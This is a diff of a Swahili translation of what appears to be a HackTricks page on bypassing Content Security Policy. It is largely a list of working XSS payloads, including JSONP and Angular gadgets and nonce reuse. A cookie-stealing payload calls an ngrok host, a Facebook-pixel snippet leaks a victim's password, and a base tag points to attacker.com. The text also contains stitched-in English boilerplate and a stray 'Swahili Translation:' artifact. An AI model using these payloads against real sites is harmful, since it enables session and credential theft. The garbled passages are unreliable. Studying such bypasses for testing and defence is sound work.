|
||||
* **child-src**: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa wavuti na yaliyomo kwenye fremu zilizojumuishwa.
|
||||
* **script-src**: Inaruhusu vyanzo maalum vya JavaScript, ikiwa ni pamoja na URL, script za ndani, na scripts zinazosababishwa na wakati wa matukio au XSLT stylesheets.
|
||||
* **default-src**: Inaweka sera ya msingi kwa kupata rasilimali wakati maelekezo maalum ya kupata hayapo.
|
||||
* **child-src**: Inabainisha rasilimali zinazoruhusiwa kwa wafanyakazi wa mtandao na maudhui ya fremu zilizojumuishwa.
|
||||
* **connect-src**: Inazuia URL ambazo zinaweza kupakia kutumia interfaces kama vile fetch, WebSocket, XMLHttpRequest.
|
||||
* **frame-src**: Inazuia URL kwa fremu.
|
||||
* **frame-ancestors**: Inabainisha ni vyanzo vipi vinaweza kujumuisha ukurasa wa sasa, inayotumika kwa vipengele kama `<frame>`, `<iframe>`, `<object>`, `<embed>`, na `<applet>`.
|
||||
* **img-src**: Inafafanua vyanzo vilivyoidhinishwa kwa picha.
|
||||
* **img-src**: Inadefinisha vyanzo vilivyoidhinishwa kwa ajili ya picha.
|
||||
* **font-src**: Inabainisha vyanzo halali kwa fonts zinazopakiwa kwa kutumia `@font-face`.
|
||||
* **manifest-src**: Inafafanua vyanzo vilivyoidhinishwa vya faili za maandishi ya maombi.
|
||||
* **media-src**: Inafafanua vyanzo vilivyoidhinishwa kwa kupakia vitu vya media.
|
||||
* **object-src**: Inafafanua vyanzo vilivyoidhinishwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
|
||||
* **manifest-src**: Inadefinisha vyanzo vilivyoidhinishwa vya faili za maandishi ya maombi.
|
||||
* **media-src**: Inadefinisha vyanzo vilivyoidhinishwa kwa kupakia vitu vya media.
|
||||
* **object-src**: Inadefinisha vyanzo vilivyoidhinishwa kwa vipengele vya `<object>`, `<embed>`, na `<applet>`.
|
||||
* **base-uri**: Inabainisha URL zilizoruhusiwa kwa kupakia kutumia vipengele vya `<base>`.
|
||||
* **form-action**: Inaorodhesha vituo halali vya kuwasilisha fomu.
|
||||
* **form-action**: Inaorodhesha vituo halali vya kutuma fomu.
|
||||
* **plugin-types**: Inazuia aina za mime ambazo ukurasa unaweza kuita.
|
||||
* **upgrade-insecure-requests**: Inaagiza vivinjari kubadilisha URL za HTTP kuwa HTTPS.
|
||||
* **sandbox**: Inatumia vizuizi sawa na sifa ya sandbox ya `<iframe>`.
|
||||
* **report-to**: Inabainisha kikundi ambacho ripoti itatumwa ikiwa sera itavunjwa.
|
||||
* **worker-src**: Inabainisha vyanzo halali kwa Worker, SharedWorker, au scripti za ServiceWorker.
|
||||
* **worker-src**: Inabainisha vyanzo halali kwa Worker, SharedWorker, au scripts za ServiceWorker.
|
||||
* **prefetch-src**: Inabainisha vyanzo halali kwa rasilimali zitakazopakuliwa au kuhifadhiwa mapema.
|
||||
* **navigate-to**: Inazuia URL ambazo waraka unaweza kuvinjari kwa njia yoyote (a, fomu, window.location, window.open, n.k.)
|
||||
|
||||
|
@ -93,15 +93,15 @@ object-src 'none';
|
|||
* `'self'`: Inaruhusu kupakia kutoka kwa kikoa kile kile.
|
||||
* `'data'`: Inaruhusu rasilimali kupakiwa kupitia mfumo wa data (k.m., picha zilizooanishwa kwa Base64).
|
||||
* `'none'`: Inazuia kupakia kutoka kwa chanzo chochote.
|
||||
* `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na njia zinazofanana, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'unsafe-hashes'`: Inawezesha wakurasa wa matukio ya ndani maalum.
|
||||
* `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama vile `<script>` au `<style>` za ndani, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'nonce'`: Orodha nyeupe kwa scripti za ndani maalum zikitumia nonce ya kriptografia (namba inayotumiwa mara moja).
|
||||
* Ikiwa una utekelezaji mdogo wa JS, ni rahisi kupata nonce iliyotumiwa kwenye ukurasa na `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kutumia tena kuiweka scripti yenye nia mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo haitahitajika), kama ifuatavyo:
|
||||
* `'unsafe-eval'`: Inaruhusu matumizi ya `eval()` na mbinu zinazofanana, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'unsafe-hashes'`: Inawezesha wakati maalum wa matukio ya ndani.
|
||||
* `'unsafe-inline'`: Inaruhusu matumizi ya rasilimali za ndani kama vile `<script>` au `<style>`, sio kupendekezwa kwa sababu za usalama.
|
||||
* `'nonce'`: Orodha nyeupe kwa ajili ya scripts za ndani maalum zikitumia nonce ya kriptografia (namba inayotumiwa mara moja).
|
||||
* Ikiwa una utekelezaji mdogo wa JS, ni rahisi kupata nonce iliyotumiwa ndani ya ukurasa kwa `doc.defaultView.top.document.querySelector("[nonce]")` na kisha kutumia tena kuiweka script yenye nia mbaya (ikiwa strict-dynamic inatumika, chanzo chochote kilichoruhusiwa kinaweza kupakia vyanzo vipya hivyo hii haikuhitajiki), kama ifuatavyo:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Pakia scripti ukitumia tena nonce</summary>
|
||||
<summary>Pakia script ukitumia nonce</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
|
@ -119,18 +119,18 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `https:`: Inazuia URLs zinazotumia HTTPS tu.
|
||||
* `blob:`: Inaruhusu rasilimali kupakia kutoka kwenye URL za Blob (k.m., URL za Blob zilizoundwa kupitia JavaScript).
|
||||
* `filesystem:`: Inaruhusu rasilimali kupakia kutoka kwenye mfumo wa faili.
|
||||
* `'report-sample'`: Inajumuisha sampuli ya namna ya kanuni inayokiuka katika ripoti ya ukiukaji (inayofaa kwa ajili ya kutatua hitilafu).
|
||||
* `'strict-origin'`: Kama 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo vinavyolingana na hati (vyanzo salama pekee vinaweza kupakia rasilimali kutoka vyanzo salama).
|
||||
* `'strict-origin-when-cross-origin'`: Inatuma URLs kamili wakati wa kufanya maombi ya asili lakini inatuma asili pekee wakati ombi ni la msalaba-asili.
|
||||
* `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakia ambazo zitaelekeza mara moja kwenye rasilimali nyingine. Siyo iliyopendekezwa kwani inapunguza usalama.
|
||||
* `'report-sample'`: Inajumuisha sampuli ya nambari inayokiuka katika ripoti ya ukiukaji (inayofaa kwa ajili ya kutatua hitilafu).
|
||||
* `'strict-origin'`: Kama 'self' lakini inahakikisha kiwango cha usalama wa itifaki ya vyanzo vinavyolingana na hati (mizizi salama tu inaweza kupakia rasilimali kutoka mizizi salama).
|
||||
* `'strict-origin-when-cross-origin'`: Inatuma URLs kamili wakati wa kufanya maombi ya asili lakini inatuma asili tu wakati ombi ni la msalaba-asili.
|
||||
* `'unsafe-allow-redirects'`: Inaruhusu rasilimali kupakia ambazo zitaelekeza mara moja kwenye rasilimali nyingine. Sio rahisi kwa sababu inapunguza usalama.
|
||||
|
||||
## Sheria za CSP Zisizo Salama
|
||||
## Sheria Hatari za CSP
|
||||
|
||||
### 'unsafe-inline'
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
|
||||
```
|
||||
Payload inayofanya kazi: `"/><script>alert(1);</script>`
|
||||
Kifurushi kinachofanya kazi: `"/><script>alert(1);</script>`
|
||||
|
||||
#### self + 'unsafe-inline' kupitia Iframes
|
||||
|
||||
|
@ -139,6 +139,10 @@ Payload inayofanya kazi: `"/><script>alert(1);</script>`
|
|||
{% endcontent-ref %}
|
||||
|
||||
### 'unsafe-eval'
|
||||
|
||||
{% hint style="danger" %}
|
||||
Hii haifanyi kazi, kwa maelezo zaidi [**angalia hii**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||
{% endhint %}
|
||||
```yaml
|
||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||
```
|
||||
|
@ -167,7 +171,7 @@ Payload inayofanya kazi:
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
Mizigo inayofanya kazi:
|
||||
Payloads zinazofanya kazi:
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
|
@ -183,15 +187,15 @@ Payload inayofanya kazi:
|
|||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
Hata hivyo, ni uwezekano mkubwa kwamba server ina **thibitisha faili iliyopakiwa** na itaruhusu tu **kupakia aina iliyodhamiriwa ya faili**.
|
||||
Hata hivyo, ni uwezekano mkubwa kwamba server ina **thibitisha faili iliyopakiwa** na itaruhusu tu **kupakia aina fulani ya faili**.
|
||||
|
||||
Zaidi ya hayo, hata kama ungeweza kupakia **msimbo wa JS ndani** ya faili ukitumia kipanuzi kinachokubaliwa na server (kama vile: _script.png_), hii haitoshi kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kipanuzi** na vivinjari kama Chrome **vitakataa kutekeleza msimbo wa Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati mbaya", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache haifahamu** kipanuzi cha _**.wave**_, hivyo haipatii na **aina ya MIME kama audio/\***.
|
||||
Zaidi ya hayo, hata kama ungeweza kupakia **msimbo wa JS ndani** ya faili ukitumia kipanuzi kinachokubaliwa na server (kama vile: _script.png_) hii haitoshi kwa sababu baadhi ya server kama server ya apache **huchagua aina ya MIME ya faili kulingana na kipanuzi** na vivinjari kama Chrome **kukataa kutekeleza msimbo wa Javascript** ndani ya kitu ambacho kinapaswa kuwa picha. "Kwa bahati mbaya", kuna makosa. Kwa mfano, kutoka kwenye CTF nilijifunza kwamba **Apache haifahamu** kipanuzi cha _**.wave**_, hivyo haipatii na **aina ya MIME kama audio/\***.
|
||||
|
||||
Kutoka hapa, ikiwa utapata XSS na upakiaji wa faili, na ukifanikiwa kupata **kipanuzi kilichochanganywa**, unaweza kujaribu kupakia faili yenye kipanuzi hicho na Maudhui ya script. Au, ikiwa server inachunguza muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([baadhi ya mifano ya polyglot hapa](https://github.com/Polydet/polyglot-database)).
|
||||
Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kipanuzi kilichochanganywa**, unaweza kujaribu kupakia faili yenye kipanuzi hicho na Maudhui ya script. Au, ikiwa server inathibitisha muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([baadhi ya mifano ya polyglot hapa](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kuvuja kwa mfano nywila **kwa kuingiza hatua ya fomu** (na labda kutarajia mameneja wa nywila kujaza nywila moja kwa moja). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, kumbuka kwamba `default-src` haifuniki hatua za fomu.
|
||||
Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kuvuja kwa mfano vibali **kwa kuingiza hatua ya fomu** (na labda kutarajia mameneja wa nywila kujaza nywila moja kwa moja). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, kumbuka kwamba `default-src` haifuniki hatua za fomu.
|
||||
|
||||
### Njia za Tatu za Mwisho + ('unsafe-eval')
|
||||
|
||||
|
@ -225,7 +229,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
#### Payloads zinazotumia Angular + maktaba yenye kazi zinazorudisha kipengele cha `window` ([angalia chapisho hili](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au duka lingine lolote la maktaba za JS zilizoruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **kazi zipi kutoka maktaba zipi zinarudisha kipengele cha `window`**.
|
||||
Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba zingine zilizoruhusiwa za JS), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **kazi zipi kutoka maktaba zipi zinarudisha kipengele cha `window`**.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -251,6 +255,9 @@ Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudfl
|
|||
</div>
|
||||
```
|
||||
### Angular XSS kutoka kwa jina la darasa:
|
||||
|
||||
Swahili Translation:
|
||||
### Angular XSS kutoka kwa jina la darasa:
|
||||
```html
|
||||
<div ng-app>
|
||||
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
|
||||
|
@ -290,15 +297,13 @@ URL ifuatayo inarejelea kwenye example.com (kutoka [hapa](https://www.landh.tech
|
|||
```
|
||||
https://www.google.com/amp/s/example.com/
|
||||
```
|
||||
### Kutumia \*.google.com/script.google.com
|
||||
### Endpoints ya Tatu ya Tatu + JSONP
|
||||
|
||||
Inawezekana kutumia Google Apps Script kupokea taarifa kwenye ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
|
||||
### Vielekezi vya Tatu + JSONP
|
||||
Inawezekana kutumia Google Apps Script kupokea habari kwenye ukurasa ndani ya script.google.com. Kama ilivyo [fanywa katika ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Mazingira kama haya ambapo `script-src` imewekwa kwa `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kudukuliwa kwa kutumia JSONP. Vituo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
|
||||
Mazingira kama haya ambapo `script-src` imewekwa kama `self` na kikoa fulani ambacho kimeorodheshwa kwenye orodha nyeupe inaweza kukiukwa kwa kutumia JSONP. Vituo vya JSONP huruhusu njia za kurejelea zisizo salama ambazo huruhusu mshambuliaji kutekeleza XSS, mzigo wa kazi:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -310,26 +315,26 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
```
|
||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **inaendelea kutumia JSONP endpoints kwa kuzidi kwa CSP kwenye tovuti tofauti.**
|
||||
|
||||
Hitilafu sawa itatokea ikiwa **endpoint iliyosadikika ina Open Redirect** kwa sababu ikiwa endpoint ya awali inasadikika, maelekezo yanasadikika.
|
||||
Ugunduzi sawa utatokea ikiwa **endpoint iliyosadikika ina Open Redirect** kwa sababu ikiwa endpoint ya awali inasadikika, maelekezo yanasadikika.
|
||||
|
||||
### Mabaya ya Tatu
|
||||
|
||||
Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwezekano wa kuwepo kwa uwanja wa tatu, ambao unaweza kuruhusiwa mahali fulani katika CSP, unaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya watoa huduma wa tatu ni:
|
||||
Kama ilivyoelezwa katika [chapisho lifuatalo](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), kuna uwanja wengi wa tatu, ambao huenda ukaruhusiwa mahali fulani katika CSP, unaweza kutumika kwa kuchukua data au kutekeleza nambari ya JavaScript. Baadhi ya watoa huduma hawa wa tatu ni:
|
||||
|
||||
| Entiti | Uwanja Ulioruhusiwa | Uwezo |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
|
||||
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
| Facebook | www.facebook.com, \*.facebook.com | Kuchukua |
|
||||
| Hotjar | \*.hotjar.com, ask.hotjar.io | Kuchukua |
|
||||
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Kutekeleza |
|
||||
| Amazon CloudFront | \*.cloudfront.net | Kuchukua, Kutekeleza |
|
||||
| Amazon AWS | \*.amazonaws.com | Kuchukua, Kutekeleza |
|
||||
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Kuchukua, Kutekeleza |
|
||||
| Salesforce Heroku | \*.herokuapp.com | Kuchukua, Kutekeleza |
|
||||
| Google Firebase | \*.firebaseapp.com | Kuchukua, Kutekeleza |
|
||||
|
||||
Ikiwa unapata moja ya uwanja ulioruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, ama kuchukua data kwenye huduma hiyo au kutekeleza nambari.
|
||||
Ikiwa utapata uwanja wowote ulioruhusiwa katika CSP ya lengo lako, kuna uwezekano kwamba unaweza kuzidi CSP kwa kusajili kwenye huduma ya tatu na, ama kuchukua data kwenda kwenye huduma hiyo au kutekeleza nambari.
|
||||
|
||||
Kwa mfano, ikiwa unapata CSP ifuatayo:
|
||||
Kwa mfano, ikiwa utapata CSP ifuatayo:
|
||||
```
|
||||
Content-Security-Policy: default-src 'self’ www.facebook.com;
|
||||
```
|
||||
|
@ -337,59 +342,57 @@ Content-Security-Policy: default-src 'self’ www.facebook.com;
|
|||
|
||||
#### Introduction
|
||||
|
||||
Content Security Policy (CSP) is an added layer of security that helps detect and mitigate certain types of attacks, such as Cross Site Scripting (XSS) and data injection attacks. However, in some cases, it is possible to bypass CSP protections using various techniques.
|
||||
Content Security Policy (CSP) is a security standard that helps prevent cross-site scripting (XSS), clickjacking, and other code injection attacks by allowing web developers to control the resources that a user agent is allowed to load for a specific web page. However, misconfigurations or weaknesses in the CSP implementation can sometimes allow attackers to bypass these security controls.
|
||||
|
||||
#### Bypassing CSP using `unsafe-inline`
|
||||
#### Bypass Techniques
|
||||
|
||||
One common way to bypass CSP is by using the `unsafe-inline` keyword in the CSP header. This allows the execution of inline scripts and styles, which can be exploited by an attacker to execute malicious code.
|
||||
1. **Unsafe Inline Scripts**: If a CSP allows unsafe-inline scripts, an attacker can execute arbitrary code by injecting malicious scripts directly into HTML attributes such as `onclick` or `onmouseover`.
|
||||
|
||||
#### Bypassing CSP using data: URI
|
||||
2. **Unsafe Eval**: CSPs that allow the use of `unsafe-eval` can be exploited by attackers to execute dynamic code using functions like `eval()`.
|
||||
|
||||
Another technique to bypass CSP is by using data: URI. By encoding the malicious script in a data URI format, it may be possible to execute the script despite CSP restrictions.
|
||||
3. **Data Injection**: Attackers can abuse data injection vulnerabilities to bypass CSP restrictions and execute malicious code.
|
||||
|
||||
#### Bypassing CSP using trusted domains
|
||||
|
||||
If a website allows resources from trusted domains that are not covered by the CSP policy, an attacker can host malicious code on those domains and bypass the CSP protections.
|
||||
4. **Trusted Endpoints**: If a CSP whitelists domains that are vulnerable to subdomain takeovers, attackers can exploit this to serve malicious content from a trusted domain.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
While Content Security Policy is an effective security measure, it is important to be aware of potential bypass techniques in order to ensure comprehensive protection against attacks. Regular security assessments and testing can help identify and address any CSP bypass vulnerabilities.
|
||||
While Content Security Policy is a powerful security mechanism, it is crucial to configure it correctly to prevent bypasses and ensure the protection of web applications against various attacks. Regular security assessments and testing can help identify and mitigate CSP bypass vulnerabilities effectively.
|
||||
```
|
||||
Content-Security-Policy: connect-src www.facebook.com;
|
||||
```
|
||||
Unapaswa kuweza kuchukua data, kama ilivyokuwa kawaida kufanywa na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi kuu:
|
||||
Unapaswa kuweza kuchukua data, kama ilivyokuwa daima imefanywa na [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). Katika kesi hii, unafuata hatua hizi kuu:
|
||||
|
||||
1. Unda akaunti ya Facebook Developer hapa.
|
||||
2. Unda programu mpya ya "Facebook Login" na chagua "Tovuti".
|
||||
3. Nenda kwa "Mipangilio -> Msingi" na pata "Kitambulisho cha Programu yako (App ID)".
|
||||
4. Kwenye tovuti lengwa unayotaka kuchukua data kutoka, unaweza kuchukua data moja kwa moja kwa kutumia kifaa cha Facebook SDK "fbq" kupitia "tukio la desturi" na mzigo wa data.
|
||||
5. Nenda kwenye "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||
5. Nenda kwa "Meneja wa Matukio ya Programu" yako na chagua programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana kwenye URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events
|
||||
6. Chagua kichupo "Matukio ya Majaribio" kuona matukio yanayotumwa na tovuti "yako".
|
||||
|
||||
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo ili kuanzisha pikseli ya kufuatilia ya Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa shambulizi na kutoa tukio la desturi kama hili:
|
||||
Kisha, upande wa mwathiriwa, tekeleza nambari ifuatayo kuanzisha pikseli ya ufuatiliaji wa Facebook ili ielekeze kwenye akaunti ya Facebook ya muundaji wa mshambuliaji na kutuma tukio la desturi kama hili:
|
||||
```JavaScript
|
||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||
fbq('trackCustom', 'My-Custom-Event',{
|
||||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
### Kuhusu uwanja wa tatu wa tatu uliotajwa katika jedwali lililopita, kuna njia nyingine nyingi unazoweza kuzitumia vibaya. Tazama [chapisho la blogi](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) hapo awali kwa maelezo zaidi kuhusu matumizi mabaya ya uwanja wa tatu.
|
||||
Kuhusu uwanja wa tatu wa tatu uliotajwa katika meza iliyopita, kuna njia nyingine nyingi unazoweza kuzitumia vibaya. Angalia [chapisho la blogi](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) hapo awali kwa maelezo zaidi kuhusu matumizi mabaya ya uwanja wa tatu.
|
||||
|
||||
### Kupitia RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
Mbali na kuelekeza hapo juu ili kukiuka vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye seva fulani.
|
||||
Mbali na kuelekeza kwa njia ya kuzidi vikwazo vya njia vilivyotajwa hapo juu, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) inayoweza kutumika kwenye baadhi ya seva.
|
||||
|
||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kukiukwa kama ifuatavyo:
|
||||
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kuzidiwa kama ifuatavyo:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
Kivinjari itaingia hatimaye `https://example.com/scripts/angular/angular.js`.
|
||||
Kivinjari itaingiza hatimaye `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inazingatia CSP.
|
||||
Hii inafanya kazi kwa sababu kwa kivinjari, unapakia faili iliyoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
|
||||
|
||||
Kwa hivyo, wataidecode, wakiiomba kwa ufanisi `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Kwa **kutumia hitilafu hii katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kudukuliwa**.
|
||||
Kwa **kutumia hitilafu hii katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kukiukwa**.
|
||||
|
||||
Suluhisho ni kutotambua `%2f` kama `/` upande wa seva, kuhakikisha tafsiri thabiti kati ya kivinjari na seva ili kuepuka shida hii.
|
||||
|
||||
|
@ -403,16 +406,16 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
|
|||
|
||||
### **base-uri** iliyopotea
|
||||
|
||||
Ikiwa mwelekeo wa **base-uri** hauko, unaweza kutumia kuidhuru kufanya [**injini ya alama za kuteleza**](../dangling-markup-html-scriptless-injection/).
|
||||
Ikiwa mwelekeo wa **base-uri** haujapatikana unaweza kutumia kufanya [**injini ya alama inayotungikwa**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Zaidi, ikiwa **ukurasa unapakia script kwa kutumia njia ya kihusishi** (kama `<script src="/js/app.js">`) ukitumia **Nonce**, unaweza kutumia **tag ya msingi** kufanya iweze **kupakia** script kutoka **kwenye seva yako mwenyewe kufikia XSS.**\
|
||||
Ikiwa ukurasa unaopatikana ni **httpS**, tumia url ya httpS kwenye msingi.
|
||||
Ikiwa ukurasa unaopatikana ni wa **httpS**, tumia url ya httpS kwenye msingi.
|
||||
```html
|
||||
<base href="https://www.attacker.com/">
|
||||
```
|
||||
### Matukio ya AngularJS
|
||||
|
||||
Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu cha pekee `$event`, kirejelea kitu cha tukio la kivinjari asilia. Kitu hiki cha `$event` kinaweza kutumika kukiuka CSP. Hasa, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, ikishikilia safu ya vitu iliyohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha `window` kawaida kikiwa kwenye mwisho. Muundo huu ni muhimu kwa mikakati ya kutoroka kwenye sanduku.
|
||||
Sera maalum inayojulikana kama Sera ya Usalama wa Yaliyomo (CSP) inaweza kuzuia matukio ya JavaScript. Walakini, AngularJS inaleta matukio ya desturi kama mbadala. Ndani ya tukio, AngularJS hutoa kitu cha pekee `$event`, kirejelea kitu cha tukio la kivinjari asilia. Kitu hiki cha `$event` kinaweza kutumika kukiuka CSP. Hasa, katika Chrome, kitu cha `$event/event` kina sifa ya `path`, kinashikilia safu ya vitu iliyohusishwa katika mnyororo wa utekelezaji wa tukio, na kitu cha `window` kawaida kikiwa kwenye mwisho. Muundo huu ni muhimu kwa mikakati ya kutoroka kwenye sanduku.
|
||||
|
||||
Kwa kuongoza safu hii kwa kichujio cha `orderBy`, inawezekana kuipitia, kutumia kipengee cha mwisho (kitu cha `window`) kuzindua kazi ya ulimwengu kama vile `alert()`. Msimbo uliodhihirishwa hapa chini unaelezea mchakato huu:
|
||||
```xml
|
||||
|
@ -429,7 +432,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none
|
|||
```
|
||||
### Kupitisha Sera ya Usalama wa Yaliyomo (CSP)
|
||||
|
||||
Sera ya CSP ambayo inaweka orodha nyeupe ya vikoa kwa kupakia skripti katika programu ya Angular JS inaweza kudukuliwa kupitia wito wa kazi za kurudi na baadhi ya mbinu zilizodhaifu. Taarifa zaidi kuhusu mbinu hii inapatikana kwenye mwongozo kamili uliopo kwenye [hifadhi ya git hii](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
|
||||
